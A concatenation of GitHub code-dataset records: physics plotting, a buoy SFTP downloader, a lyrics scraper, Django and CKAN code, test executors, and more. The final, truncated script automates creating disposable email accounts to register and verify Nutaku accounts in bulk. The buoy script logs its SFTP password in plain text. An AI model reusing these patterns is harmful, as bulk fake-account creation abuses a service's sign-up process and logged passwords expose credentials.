\"rosu\", \"intens\", 612.3, 4, main_values)\naddData(first_table, \"rosu\", \"intens\", 607.3, 4.6, main_values)\naddData(first_table, \"portocaliu\", \"slab\", 589.0, 6, main_values)\naddData(first_table, \"portocaliu\", \"foarte slab\", 585.9, 6.3, main_values)\naddData(first_table, \"galben\", \"foarte intens\", 579.0, 7, main_values)\naddData(first_table, \"galben\", \"foarte intens\", 577.0, 7.3, main_values)\naddData(first_table, \"verde\", \"foarte intens\", 546.1, 13, main_values)\naddData(first_table, \"verde\", \"slab\", 538.5, 14.5, main_values)\naddData(first_table, \"verde\", \"slab\", 535.4, 14.8, main_values)\naddData(first_table, \"albastru - verde\", \"foarte slab\", 496.0, 20, main_values)\naddData(first_table, \"albastru - verde\", \"slab\", 491.6, 21, main_values)\naddData(first_table, \"albastru\", \"foarte intens\", 435.8, 32, main_values)\naddData(first_table, \"violet\", \"intens\", 407.8, 41, main_values)\naddData(first_table, \"violet\", \"foarte intens\", 404.7, 42, main_values)\n\nprint(tabulate(first_table, headers='firstrow', tablefmt='grid'))\n\n\nprint()\nprint(\"Heliu\")\nhelium_values = []\nhelium_table = [['Culoarea', 'Intensitatea', 'x (div)', 'λ (nm)']]\naddData(helium_table, \"Rosu\", \"Intens\", 1, 633.8, helium_values)\naddData(helium_table, \"Rosu\", \"Slab\", 4, 609.12, helium_values)\naddData(helium_table, \"Galben\", \"Foarte intens\", 10, 563.3, helium_values)\naddData(helium_table, \"Verde\", \"Intens \", 24, 476.13, helium_values)\naddData(helium_table, \"Albastru\", \"Slab\", 32, 438.57, helium_values)\naddData(helium_table, \"Violet\", \"Intens\", 39, 413.0, helium_values)\nprint(tabulate(helium_table, headers='firstrow', tablefmt='grid'))\n\nprint()\nprint(\"Neon\")\nneon_values = []\nneon_table = [['Culoarea', 'Intensitatea', 'x (div)', 'λ (nm)']]\naddData(neon_table, \"Rosu\", \"Slab\", 2, 625.5, neon_values)\naddData(neon_table, \"Rosu\", \"Intens\", 4, 609.1, neon_values)\naddData(neon_table, \"Rosu\", \"Foarte intens\", 5, 601.11, neon_values)\naddData(neon_table, \"Portocaliu\", \"Foarte intens \", 8, 578.0, neon_values)\naddData(neon_table, \"Galben\", \"Foarte intens\", 12, 549.2, neon_values)\naddData(neon_table, \"Verde\", \"Intens\", 19, 504.1, neon_values)\naddData(neon_table, \"Verde\", \"Slab\", 23, 481.4, neon_values)\naddData(neon_table, \"Verde\", \"Foarte slab\", 25, 470.9, neon_values)\naddData(neon_table, \"Albastru\", \"Foarte slab\", 33, 434.5, neon_values)\naddData(neon_table, \"Violet\", \"Foarte slab\", 38, 416.0, neon_values)\nprint(tabulate(neon_table, headers='firstrow', tablefmt='grid'))\n\nprint()\nprint(\"Banda\")\nband_table = [['Banda', \"x' / x'' (div)\", \"λ' / λ'' (nm)\"]]\nband_table.append([\"Rosu\", 20, 40])\nband_table.append([\"Verde\", 7, 9])\nband_table.append([\"Alb\", 8, 12])\nprint(tabulate(band_table, headers='firstrow', tablefmt='grid'))\n\n\ny = np.array([623.4, 612.3, 607.3, 589, 585.9, 579, 577, 546.1, 538.5, 535.4, 496, 491.6, 435.8, 407.8, 404.7])\nx = np.array([ 3, 4, 4.6, 6, 6.3, 7, 7.3, 13, 14.5, 14.8, 20, 21, 32, 41, 42 ])\nsorted_array = np.sort(x, kind='quicksort')\n\nX_Y_Spline = make_interp_spline(sorted_array, y, k=3)\n \n# Returns evenly spaced numbers\n# over a specified interval.\nX_ = np.linspace(sorted_array.min(), sorted_array.max(), 700)\nY_ = X_Y_Spline(X_)\n \n# Plotting the Graph\nplt.scatter(sorted_array, y, c='#ef5423',linestyle='dashed')\nplt.figure(1)\nplt.plot(X_, Y_, color='#58b970', linestyle='dashed')\nplt.title(\"λ = f(x)\")\nplt.xlabel(\"x (div)\")\nplt.ylabel(\"λ (nm)\")\nplt.show()\n\n\n\ny = np.array([633.8, 609.12, 563.3, 476.13, 438.57, 413])\nx = np.array([1, 4, 10, 24, 32, 39])\nsorted_array = np.sort(x, kind='quicksort')\n\nX_Y_Spline_hel = make_interp_spline(sorted_array, y, k=3)\n \n# Returns evenly spaced numbers\n# over a specified interval.\nX_ = np.linspace(sorted_array.min(), sorted_array.max(), 700)\nY_ = X_Y_Spline_hel(X_)\n \n# Plotting the Graph\nplt.scatter(sorted_array, y, c='#ef5423',linestyle='dashed')\nplt.figure(1)\nplt.plot(X_, Y_, color='#58b970', linestyle='dashed')\nplt.title(\"Spectrul heliului\")\nplt.xlabel(\"x (div)\")\nplt.ylabel(\"λ (nm)\")\nplt.show()\n\n\n\ny = np.array([625.5, 609.1, 601.11, 578, 549.2, 504.1, 481.4, 470.9, 434.5, 416])\nx = np.array([2, 4, 5, 8, 12, 19, 23, 25, 33, 38])\nsorted_array = np.sort(x, kind='quicksort')\n\nX_Y_Spline = make_interp_spline(sorted_array, y, k=3)\n \n# Returns evenly spaced numbers\n# over a specified interval.\nX_ = np.linspace(sorted_array.min(), sorted_array.max(), 700)\nY_ = X_Y_Spline(X_)\n \n# Plotting the Graph\nplt.scatter(sorted_array, y, c='#ef5423',linestyle='dashed')\nplt.figure(1)\nplt.plot(X_, Y_, color='#58b970', linestyle='dashed')\nplt.title(\"Spectrul neonului\")\nplt.xlabel(\"x (div)\")\nplt.ylabel(\"λ (nm)\")\nplt.show()","repo_name":"Cipppp/University-POLITEHNICA-of-Bucharest","sub_path":"1st year/Second semester/Physics/spectroscope.py","file_name":"spectroscope.py","file_ext":"py","file_size_in_byte":5183,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"10981931999","text":"from datetime import datetime, timedelta\r\nfrom pickle import dump\r\nimport json\r\nfrom dateutil.parser import parse\r\nfrom get_uv import get_uv\r\nfrom glob import glob\r\nimport paramiko\r\nimport pysftp\r\nfrom numpy import nan as NaN\r\nfrom pytz import timezone\r\nimport os\r\nfrom log import set_logger, now\r\n\r\nlogger = set_logger()\r\n\r\ndef Buoy(conf):\r\n \r\n # Puertos del Estado INSTAC SFTP hostname and credentials \r\n host, user, pswd, folder = conf['host'], conf['user'], conf['pswd'], conf['folder']\r\n logger.info(f'{now()} BUOY: Credentials are {host}, {user}, {pswd}, {folder}')\r\n \r\n localpath = '/xml'\r\n logger.info(f'{now()} BUOY: Localpath is {localpath}')\r\n \r\n # Retrieve names of *.xml files already downloaded and save to list\r\n local = update_local_directory(localpath, '.xml')\r\n logger.info(f'{now()} Local directory inspected. Number of files is {len(local)}')\r\n\r\n # Get number of levels for Doppler Current Profiler\r\n N = len(json.loads(conf['DCPS']))\r\n\r\n # Remove empty (corrupted) files\r\n files = sorted(glob(localpath + '/*.xml'))\r\n for file in files: \r\n if is_empty(file):\r\n os.remove(file)\r\n \r\n # Download files\r\n try:\r\n xml_file_download(local, localpath, host, user, pswd, folder) \r\n except paramiko.SSHException:\r\n pass\r\n \r\n # Remove empty (corrupted) files\r\n files = sorted(glob(localpath + '/*.xml'))\r\n for file in files:\r\n if is_empty(file):\r\n os.remove(file)\r\n \r\n # Update list of names of *.xml files already downloaded\r\n local = update_local_directory(localpath, '.xml')\r\n \r\n # Initialize dictionary of output variables \r\n var = vardict() \r\n\r\n ''' This section is meant to guarantee that:\r\n\r\n 1 - A constant time step (10 minutes) exists\r\n\r\n 2 - Files are processed in the right order '''\r\n\r\n # Start reading from the first file. Take date from first file.\r\n\r\n idate = timezone('UTC').localize(datetime.strptime(local[0][0:12] + '0', '%Y%m%dT%H%M'))\r\n\r\n logger.info(f'{now()} Start time is {idate.strftime(\"%Y-%b-%d %H:%M\")}')\r\n\r\n\r\n # Next, determine the end time, matching the latest downloaded file\r\n\r\n edate = timezone('UTC').localize(datetime.strptime(local[-1][0:12] + '0', '%Y%m%dT%H%M'))\r\n\r\n logger.info(f'{now()} End time is {edate.strftime(\"%Y-%b-%d %H:%M\")}')\r\n\r\n\r\n # Now, create time list from \"idate\" to \"edate\" with 10-minute intervals\r\n\r\n tiempo = []\r\n \r\n while idate <= edate:\r\n \r\n # Add a new time to the list of times to be processed\r\n tiempo.append(idate)\r\n \r\n # Update (add +10 minutes)\r\n idate += timedelta(minutes=10)\r\n \r\n \r\n for i in tiempo: \r\n \r\n if not i.hour and not i.minute:\r\n logger.info(f'{now()}: Reading ' + i.strftime('%d-%b-%Y %H:%M')) \r\n \r\n file = ''\r\n \r\n # Convert time to string. The time string defines the XML file name \r\n \r\n dateString = i.strftime('%Y%m%dT%H%M') \r\n \r\n # Search for file names containing the above date string.\r\n \r\n for f in local:\r\n \r\n if dateString in f:\r\n \r\n file = f; break\r\n \r\n if file:\r\n \r\n read_xml_file(localpath + '/' + file, var)\r\n \r\n else:\r\n \r\n # There is a missing file, not transmitted by the buoy\r\n \r\n logger.info(f'{now()}: WARNING! Missing file for {dateString}. Appending NaN...')\r\n \r\n for key in var.keys(): \r\n var[key].append(NaN) # Append NaN to all the variables in the data structure.\r\n\r\n # For time, append the i-th time\r\n var['time'][-1] = i\r\n\r\n # For Doppler Current Profile variables (speed and direction) a list of NaN's \r\n # must be appended. The length must be \"N\" number of levels in the DCP sensor.\r\n var['DCP speed'][-1] = [NaN for k in range(N)]\r\n var['DCP dir'][-1] = [NaN for k in range(N)]\r\n\r\n # Apply a quality control (mask missing data)\r\n var = quality_control(var) \r\n \r\n ''' Calculation of derived variables '''\r\n # Find u- and v- components of wind from wind speed and direction\r\n var['u-wind'], var['v-wind'] = get_uv(var['Wind Speed'], var['Wind Direction'], 'FROM') \r\n\r\n outdir = '/data/HISTORY/El-Campello-in-situ'\r\n if not ( os.path.isdir(outdir) ):\r\n os.makedirs(outdir)\r\n\r\n logger.info(f'{now()}: Saving historical records...') \r\n with open('%s/El-Campello-in-situ.pkl' % outdir, 'wb') as f:\r\n dump(var, f)\r\n\r\n logger.info(f'{now()}: Quitting BUOY') \r\n return var \r\n\r\ndef is_empty(file):\r\n ''' Check if downloaded file is empty (silent, failed download) '''\r\n f = open(file, 'r')\r\n lines = f.readlines()\r\n if not lines:\r\n return True\r\n else:\r\n return False\r\n\r\ndef quality_control(var):\r\n\r\n for key in var.keys():\r\n var[key] = [i if ( i != 68. and i != 81. ) else NaN for i in var[key]]\r\n\r\n return var\r\n\r\ndef read_xml_file(file, var):\r\n ''' Read an *.xml file and update the fields of interest '''\r\n\r\n # Prepare DCPS lists. For \"El Campello\", these lists should have\r\n # 28 values for each time step: 8 (C1) + 20 (C2). \r\n\r\n speed = [] # DCPS speed [cm/s]\r\n direction = [] # DCPS direction Deg.M\r\n \r\n with open(file, 'r') as f:\r\n\r\n # Discard header\r\n for i in range(5): f.readline()\r\n\r\n line = f.readline()\r\n while len(line):\r\n\r\n if '
', 1)\r\n lyrics = split[0]\r\n lyrics = lyrics.replace('
', '\\n')\r\n lyrics = lyrics.replace('\\\\', '')\r\n lyrics = lyrics.replace('\\nn', '\\n')\r\n lyrics = lyrics.replace('', '')\r\n lyrics = lyrics.replace('', '')\r\n lyrics = lyrics.replace('[Chorus]', '')\r\n originalLyrics.write(lyrics)\r\n sleep(random.randint(2, 10))\r\noriginalLyrics.close()\r\n","repo_name":"AbhiCodes737/Python_Rap_Generator","sub_path":"lyricsscrap.py","file_name":"lyricsscrap.py","file_ext":"py","file_size_in_byte":1213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"33176495609","text":"\"\"\"\n* mypy와 pyright를 사용하여 runtime에서 type을 검사하기\n* mypy : https://mypy.readthedocs.io/en/stable/getting_started.html\n - mypy로는 결과를 출력할 수 없기 때문에 mypy로 type checking을 한 뒤, python으로 다시 출력해야 함!\n - 한 줄로 처리하려면 mypy 15-mypy_pyright.py && ptyhon 15-mypy_pyright.py 로 명령해야 함!\n* pyright : https://github.com/microsoft/pyright\n - mypy와 사용방법은 동일\n - 조금 더 안정적이고 빠름\n - npm으로 다운받음\n - 한 줄로 처리하려면 pyright 15-mypy_pyright.py && python 15-mypy_pyright.py로 명령해야 함!\n* 하지만 mypy, pyright 둘다 python에서 공식적으로 지원하는 type checking 방법은 아님 \n* -> 기능적으로 unit test 별로 pyright를 사용하는 것이 좋음\n* -> '생산성'과 '경고성'을 동시에 챙길 수 있음!\n\"\"\"\nfrom typing import List, Tuple, Dict\n\n# int_var: str = 88 # 기존에서는 type check에 통과하지만 mypy에서는 통과하지 못함\n\"\"\"\n* mypy\n$ mypy 15-mypy_pyright.py \n15-mypy_pyright.py:8: error: Incompatible types in assignment (expression has type \"int\", variable has type \"str\")\nFound 1 error in 1 file (checked 1 source file)\n\n* pyright\n$ pyright 15-mypy_pyright.py \nNo configuration file found.\nNo pyproject.toml file found.\nstubPath C:\\type_python\\typings is not a valid directory.\nAssuming Python platform Windows\nSearching for source files\nFound 1 source file\npyright 1.1.270\nC:\\type_python\\15-mypy_pyright.py\n C:\\type_python\\15-mypy_pyright.py:10:16 - error: Expression of type \"Literal[88]\" cannot be assigned to declared type \"str\"\n \"Literal[88]\" is incompatible with \"str\" (reportGeneralTypeIssues)\n1 error, 0 warnings, 0 informations\nCompleted in 0.942sec\n\"\"\"\nint_var: int = 88\n\"\"\"\n* mypy\n$ mypy 15-mypy_pyright.py \nSuccess: no issues found in 1 source file\n\n* pyright\n$ pyright 15-mypy_pyright.py\nNo configuration file found.\nNo pyproject.toml file found.\nstubPath C:\\type_python\\typings is not a valid directory.\nAssuming Python platform Windows\nSearching for source files\nFound 1 source file\npyright 1.1.270\n0 errors, 0 warnings, 0 informations\nCompleted in 0.944sec\n\"\"\"\nstr_var: str = \"hello world\"\nfloat_var: float = 88.9\nbool_var: bool = True\n\nlist_var: List[int] = [1, 2, 3]\n\nlist_var2: List[str] = [\"1\", \"2\", \"3\"]\n\ntuple_var: Tuple[int, ...] = (1, 2, 3)\n\ndict_var: Dict[str, int] = {\"hello\": 47}\n\n\"\"\"\nprint(isinstance(88, int)) # True\nprint(isinstance(88.9, float)) # True\nprint(isinstance(88, bool)) # False\n\"\"\"\n\n\ndef type_check(obj, typer) -> None:\n if isinstance(obj, typer):\n pass\n else:\n raise TypeError(f\"Type Error: {typer}\")\n\n\ndef cal_add(x: int, y: int) -> int: # -> 뒤에는 return type 명시\n # type check 메서드 활용\n type_check(x, int)\n type_check(y, int)\n return x + y\n\n\nprint(cal_add(1, 3)) # 4\n\n# print(cal_add(\"1, \", \"3, dijkstra\")) # 1, 3, dijkstra\n\n# print(cal_add([1, 3], [4, 5])) # [1, 3, 4, 5]\n\nprint(int_var)\n","repo_name":"jinhyungrhee/type_python","sub_path":"14-type_checking2.py","file_name":"14-type_checking2.py","file_ext":"py","file_size_in_byte":2998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"42328176891","text":"# encoding: utf-8\n\nimport datetime\nfrom sqlalchemy.orm import class_mapper\nimport sqlalchemy\n\nimport six\nfrom six import text_type\nfrom ckan.model.core import State\n\ntry:\n RowProxy = sqlalchemy.engine.result.RowProxy\nexcept AttributeError:\n RowProxy = sqlalchemy.engine.base.RowProxy\n\ntry:\n long # Python 2\nexcept NameError:\n long = int # Python 3\n\n\n# NOTE\n# The functions in this file contain very generic methods for dictizing objects\n# and saving dictized objects. If a specialised use is needed please do NOT extend\n# these functions. Copy code from here as needed.\n\nlegacy_dict_sort = lambda x: (len(x), dict.items(x))\n\ndef table_dictize(obj, context, **kw):\n '''Get any model object and represent it as a dict'''\n\n result_dict = {}\n\n model = context[\"model\"]\n session = model.Session\n\n if isinstance(obj, RowProxy):\n fields = obj.keys()\n else:\n ModelClass = obj.__class__\n table = class_mapper(ModelClass).mapped_table\n fields = [field.name for field in table.c]\n\n for field in fields:\n name = field\n if name in ('current', 'expired_timestamp', 'expired_id'):\n continue\n if name in ('continuity_id', 'revision_id'):\n continue\n value = getattr(obj, name)\n if value is None:\n result_dict[name] = value\n elif isinstance(value, dict):\n result_dict[name] = value\n elif isinstance(value, int):\n result_dict[name] = value\n elif isinstance(value, long):\n result_dict[name] = value\n elif isinstance(value, datetime.datetime):\n result_dict[name] = value.isoformat()\n elif isinstance(value, list):\n result_dict[name] = value\n else:\n result_dict[name] = text_type(value)\n\n result_dict.update(kw)\n\n ##HACK For optimisation to get metadata_modified created faster.\n\n context['metadata_modified'] = max(result_dict.get('revision_timestamp', ''),\n context.get('metadata_modified', ''))\n\n return result_dict\n\n\ndef obj_list_dictize(obj_list, context, sort_key=legacy_dict_sort):\n '''Get a list of model object and represent it as a list of dicts'''\n\n result_list = []\n active = context.get('active', True)\n\n for obj in obj_list:\n if context.get('with_capacity'):\n obj, capacity = obj\n dictized = table_dictize(obj, context, capacity=capacity)\n else:\n dictized = table_dictize(obj, context)\n if active and obj.state != 'active':\n continue\n result_list.append(dictized)\n\n return sorted(result_list, key=sort_key)\n\ndef obj_dict_dictize(obj_dict, context, sort_key=lambda x:x):\n '''Get a dict whose values are model objects\n and represent it as a list of dicts'''\n\n result_list = []\n\n for key, obj in obj_dict.items():\n result_list.append(table_dictize(obj, context))\n\n return sorted(result_list, key=sort_key)\n\n\ndef get_unique_constraints(table, context):\n '''Get a list of unique constraints for a sqlalchemy table'''\n\n list_of_constraints = []\n\n for contraint in table.constraints:\n if isinstance(contraint, sqlalchemy.UniqueConstraint):\n columns = [column.name for column in contraint.columns]\n list_of_constraints.append(columns)\n\n return list_of_constraints\n\ndef table_dict_save(table_dict, ModelClass, context, extra_attrs=()):\n '''Given a dict and a model class, update or create a sqlalchemy object.\n This will use an existing object if \"id\" is supplied OR if any unique\n constraints are met. e.g supplying just a tag name will get out that tag obj.\n '''\n\n model = context[\"model\"]\n session = context[\"session\"]\n\n table = class_mapper(ModelClass).mapped_table\n\n obj = None\n\n id = table_dict.get(\"id\")\n\n if id:\n obj = session.query(ModelClass).get(id)\n\n if not obj:\n unique_constraints = get_unique_constraints(table, context)\n for constraint in unique_constraints:\n params = dict((key, table_dict.get(key)) for key in constraint)\n obj = session.query(ModelClass).filter_by(**params).first()\n if obj:\n if 'name' in params and getattr(obj, 'state', None) == State.DELETED:\n obj.name = obj.id\n obj = None\n else:\n break\n\n if not obj:\n obj = ModelClass()\n\n obj.from_dict(table_dict)\n for a in extra_attrs:\n if a in table_dict:\n setattr(obj, a, table_dict[a])\n\n session.add(obj)\n\n return obj\n","repo_name":"OCHA-DAP/hdx-ckan","sub_path":"ckan/lib/dictization/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":4639,"program_lang":"python","lang":"en","doc_type":"code","stars":73,"dataset":"github-code","pt":"72"} +{"seq_id":"3981309420","text":"from django import forms\nfrom django.contrib.auth.forms import UserCreationForm\nfrom django.contrib.auth.models import *\nfrom django.core.exceptions import ValidationError\nfrom main.models import *\n\n# Create your forms here.\n\nclass NewUserForm(UserCreationForm):\n\temail = forms.EmailField(required=True)\n\tfull_name = forms.CharField(label= \"Nama Penuh / Full Name (As per NRIC)\", required=True)\n\n\t# list of all the schools in the existing LearnerModel objects\n\tschools = LearnerModel.objects.all().values_list('school', flat=True).distinct()\n\tschools = [(school, school) for school in schools if school]\n\n\tschool = forms.ChoiceField(label= \"Name sekolah / Name of School\", choices = schools, widget=forms.RadioSelect)\n\tschool_level = forms.ChoiceField(label= \"Anda mengajar di sekolah jenis? / Which school are you teaching in?\", choices = (\n\t\t(\"Sekolah Kebangsaan / National Primary School\", \"Sekolah Kebangsaan / National Primary School\"),\n\t\t(\"Sekolah Menengah Kebangsaan / National Secondary School\", \"Sekolah Menengah Kebangsaan / National Secondary School\"),\n\t\t(\"Saya bukan seorang cikgu / I am not a teacher\", \"Saya bukan seorang cikgu / I am not a teacher\"),\n\t\t(\"Other\", \"Other\"),\n\t), widget=forms.RadioSelect)\n\tyears_of_experience = forms.ChoiceField(label= \"Berapakah tahun anda menjadi pendidik? / How long have you been an educator?\", choices = (\n\t\t(\"Kurang daripada 1 tahun / Less than 1 year\", \"Kurang daripada 1 tahun / Less than 1 year\"),\n\t\t(\"1 hingga 5 tahun / 1 to 5 years\", \"1 hingga 5 tahun / 1 to 5 years\"),\n\t\t(\"6 hingga 10 tahun / 6 to 10 years\", \"6 hingga 10 tahun / 6 to 10 years\"),\n\t\t(\"Lebih daripada 10 tahun / More than 10 years\", \"Lebih daripada 10 tahun / More than 10 years\"),\n\t), widget=forms.RadioSelect)\n\trole = forms.MultipleChoiceField(label= \"Apakah jawatan anda di sekolah? / What is your role in school?\", choices = (\n\t\t(\"Guru Akademik Biasa / Academic Teacher\", \"Guru Akademik Biasa / Academic Teacher\"),\n\t\t(\"Ketua Panitia / Panel Head\", \"Ketua Panitia / Panel Head\"),\n\t\t(\"Ketua Bidang / Guru Kanan Matapelajaran\", \"Ketua Bidang / Guru Kanan Matapelajaran\"),\n\t\t(\"Penolong Kanan / Assistant Principal\", \"Penolong Kanan / Assistant Principal\"),\n\t\t(\"Guru Besar, Pengetua / Headmaster, Principal\", \"Guru Besar, Pengetua / Headmaster, Principal\"),\n\t\t(\"Other\", \"Other\"),\n\t), widget=forms.CheckboxSelectMultiple)\n\tskill_interests = forms.MultipleChoiceField(label= \"Apakah kemahiran yang anda ingin bangunkan? / What are the skills you wish to develop?\", choices = (\n\t\t(\"Kemahiran Mengajar / Teaching Skills\", \"Kemahiran Mengajar / Teaching Skills\"),\n\t\t(\"Bimbingan & Pementoran / Coaching & Mentoring\", \"Bimbingan & Pementoran / Coaching & Mentoring\"),\n\t\t(\"Kepimpinan / Leadership\", \"Kepimpinan / Leadership\"),\n\t\t(\"Kemahiran Digital / Digital Skills (contoh: aplikasi Microsoft Word/Excel/PowerPoint dan Google Doc/Sheet/Slide)\", \"Kemahiran Digital / Digital Skills (e.g. Microsoft Word)\"),\n\t\t(\"Kemahiran Multimedia / Multimedia Skills (contoh: pembangunan video)\", \"Kemahiran Multimedia / Multimedia Skills (e.g. Video Making)\"),\n\t), widget=forms.CheckboxSelectMultiple)\n\n\tclass Meta:\n\t\tmodel = User\n\t\tfields = (\"username\", \"full_name\", \"email\", \"password1\", \"password2\", \"school\", \"school_level\", \"years_of_experience\")\n\n\tdef save(self, commit=True):\n\t\tuser = super(NewUserForm, self).save(commit=False)\n\t\tuser.email = self.cleaned_data['email']\n\t\tif commit:\n\t\t\tuser.save()\n\t\treturn user\n\t\n\t# def clean(self):\n\t# \tcleaned_data = super().clean()\n\t# \tvalid = False\n\t# \tfor key, value in cleaned_data.items():\n\t# \t\tif value:\n\t# \t\t\tvalid = True\n\t# \t\t\tbreak\n\t# \tif not valid:\n\t# \t\traise ValidationError(\"Please input at least one selection\")","repo_name":"chriskok/cikguhub","sub_path":"main/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":3669,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"17492730371","text":"A = str(input())\nresult = 0\nif len(A) > 0:\n\ti = 0\n\twhile i < len(A):\n\t\tif (not A[i].isalnum()):\n\t\t\tA.strip(A[i])\n\t\telse:\n\t\t\ti+= 1\n\t\t\tfor i in range(0,len(A)):\n\t\t\t\tj = len(A)-1-i\n\t\t\t\tif A[i].lower() != A[j].lower():\n\t\t\t\t\tresult = 1\nprint(result)\n","repo_name":"jpolitron/kattis-problems","sub_path":"palindrome/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":245,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"5584853391","text":"from m2cgen.assemblers import get_assembler_cls\nfrom m2cgen.interpreters import CSharpInterpreter\n\nfrom tests import utils\nfrom tests.e2e.executors.base import BaseExecutor\n\nEXECUTOR_CODE_TPL = \"\"\"\nusing System;\n\nnamespace TestConsoleApp {{\n class Program {{\n static void Main(string[] args) {{\n double[] input_ = new double[args.Length];\n for(int i = 0; i < input_.Length; ++i) {{\n input_[i] = double.Parse(args[i]);\n }}\n {print_code}\n }}\n }}\n}}\n\"\"\"\n\nEXECUTE_AND_PRINT_SCALAR = \"\"\"\n double res = ML.Model.Score(input_);\n Console.Write(res);\n\"\"\"\n\nEXECUTE_AND_PRINT_VECTOR = \"\"\"\n double[] res = ML.Model.Score(input_);\n for(int i = 0; i < res.Length; ++i) {\n Console.Write(\"{0} \", res[i]);\n }\n\"\"\"\n\n\nclass CSharpExecutor(BaseExecutor):\n\n target_exec_dir = None\n project_name = \"test_model\"\n\n def __init__(self, model):\n self.model = model\n self.interpreter = CSharpInterpreter()\n\n assembler_cls = get_assembler_cls(model)\n self.model_ast = assembler_cls(model).assemble()\n\n def predict(self, X):\n exec_args = [\n str(self.target_exec_dir / self.project_name),\n *map(utils.format_arg, X)\n ]\n return utils.predict_from_commandline(exec_args)\n\n @classmethod\n def prepare_global(cls, **kwargs):\n super().prepare_global(**kwargs)\n if cls.target_exec_dir is None:\n cls.target_exec_dir = cls._global_tmp_dir / \"bin\"\n utils.execute_command([\n \"dotnet\",\n \"new\",\n \"console\",\n \"--output\",\n str(cls._global_tmp_dir),\n \"--name\",\n cls.project_name,\n \"--language\",\n \"C#\"\n ])\n\n def prepare(self):\n if self.model_ast.output_size > 1:\n print_code = EXECUTE_AND_PRINT_VECTOR\n else:\n print_code = EXECUTE_AND_PRINT_SCALAR\n executor_code = EXECUTOR_CODE_TPL.format(\n print_code=print_code)\n model_code = self.interpreter.interpret(self.model_ast)\n\n model_file_name = self._global_tmp_dir / \"Model.cs\"\n executor_file_name = self._global_tmp_dir / \"Program.cs\"\n utils.write_content_to_file(model_code, model_file_name)\n utils.write_content_to_file(executor_code, executor_file_name)\n\n utils.execute_command([\n \"dotnet\",\n \"build\",\n str(self._global_tmp_dir / f\"{self.project_name}.csproj\"),\n \"--output\",\n str(self.target_exec_dir)\n ])\n","repo_name":"BayesWitnesses/m2cgen","sub_path":"tests/e2e/executors/c_sharp.py","file_name":"c_sharp.py","file_ext":"py","file_size_in_byte":2689,"program_lang":"python","lang":"en","doc_type":"code","stars":2652,"dataset":"github-code","pt":"72"} +{"seq_id":"12470632182","text":"import os\n\nfrom PIL import Image, ImageTk\nfrom tkinter import Tk, Frame, Label\n\nfrom random import shuffle\n\nimages = os.listdir(\"candidates\")\nshuffle(images)\n\n\nclass Gallery(Frame):\n\n def __init__(self, master=None):\n\n Frame.__init__(self, master)\n w, h = 96, 96\n\n master.minsize(width=w, height=h)\n master.maxsize(width=w, height=h)\n\n master.bind('', self.space)\n master.bind('', self.right)\n master.bind('', self.left)\n\n self.pack()\n\n self.i = 0\n self.label = Label()\n self.image = None\n self.photo_image = None\n\n self.set()\n\n self.label.pack()\n\n def set(self):\n\n self.image = Image.open(\"candidates/\" + images[self.i])\n\n self.photo_image = ImageTk.PhotoImage(self.image.resize((96, 96)))\n self.label.configure(image=self.photo_image)\n self.label.image = self.photo_image\n\n print(\"{}/{}\".format(self.i, len(images)))\n\n def right(self, event):\n\n if self.i < len(images):\n\n self.i += 1\n\n self.set()\n\n def left(self, event):\n\n if self.i >= 1:\n\n self.i -= 1\n\n self.set()\n\n def space(self, event):\n\n self.image.save(os.path.join(\"pegasi\", self.image.filename.split(\"/\")[1]))\n self.right(event)\n\n\nroot = Tk()\napp = Gallery(master=root)\napp.mainloop()\n","repo_name":"PrismaticPolygon/Deep-Learning","sub_path":"gallery.py","file_name":"gallery.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"25800945916","text":"from .pipeline_builder import pipeline\nfrom datetime import datetime\n\n@pipeline.pipe_function\ndef check_types(chunk : list[dict]):\n try:\n \n #lof : list of\n lof_data = list()\n for ind, data in enumerate(chunk):\n \n # checando cnpj básico\n t1 = data['CNPJ básico'].isnumeric() and len(data['CNPJ básico']) == 8\n \n # checando o formato das datas\n try:\n date_formated = datetime.strptime(data['data de inicio da atividade'],\"%Y%m%d\")\n \n # alguns dados estão com o ano acima do atual\n t2 = date_formated.year <= datetime.now().year\n except:\n t2 = False\n \n t3 = data['situação cadastral'].isnumeric()\n t4 = data['cnae fiscal principal'].isnumeric() and len(data['cnae fiscal principal']) == 7\n \n \n # Se o dado não está com a formatação, descarta-lo\n if all([t1,t2,t3,t4]):\n lof_data.append(data)\n else:\n continue\n\n return lof_data\n except:\n raise Exception(\"erro no método 'data_converter' \")\n \n pass\n","repo_name":"rickymal/speedio_test","sub_path":"services/check_type_service.py","file_name":"check_type_service.py","file_ext":"py","file_size_in_byte":1253,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"19695006470","text":"\n#coding=utf-8\n# -*- coding: utf-8 -*-\n\nimport bccto \nimport nutaku \nimport re\nimport random\nimport string\n\nclass Logic:\n\n # 初始化\n def __init__(self):\n self.mailUser = ''\n self.mailAddr = ''\n self.gameUrl = ''\n\n def _getName(self):\n return self.mailUser\n\n def _getMail(self):\n return self.mailAddr\n\n def _getGame(self):\n return self.gameUrl\n\n def _randName(self):\n strCollect = list(string.lowercase+string.digits)\n random.shuffle(strCollect)\n return ''.join(strCollect[:8])\n\n def _autoRun(self):\n # 随机账号\n self.mailUser = self._randName()\n self.mailAddr = ''.join([self.mailUser , '@', \"bccto.me\"])\n \n # 申请邮箱\n mail_bccto = bccto.Bccto()\n mail_bccto._applyMail(self.mailAddr, self.mailUser)\n \n # 注册账号\n mail_nutaku = nutaku.Nutaku()\n mail_nutaku._regist(self.mailAddr,self.mailUser)\n \n # 等待邮件\n mail_bccto._waitMail()\n validAccountUrl = mail_bccto._viewMail()\n \n # 验证\n mail_nutaku._validMail(validAccountUrl)\n # 登陆\n mail_nutaku._login(self.mailAddr,self.mailUser)\n # 设置年龄\n mail_nutaku._setAge()\n # 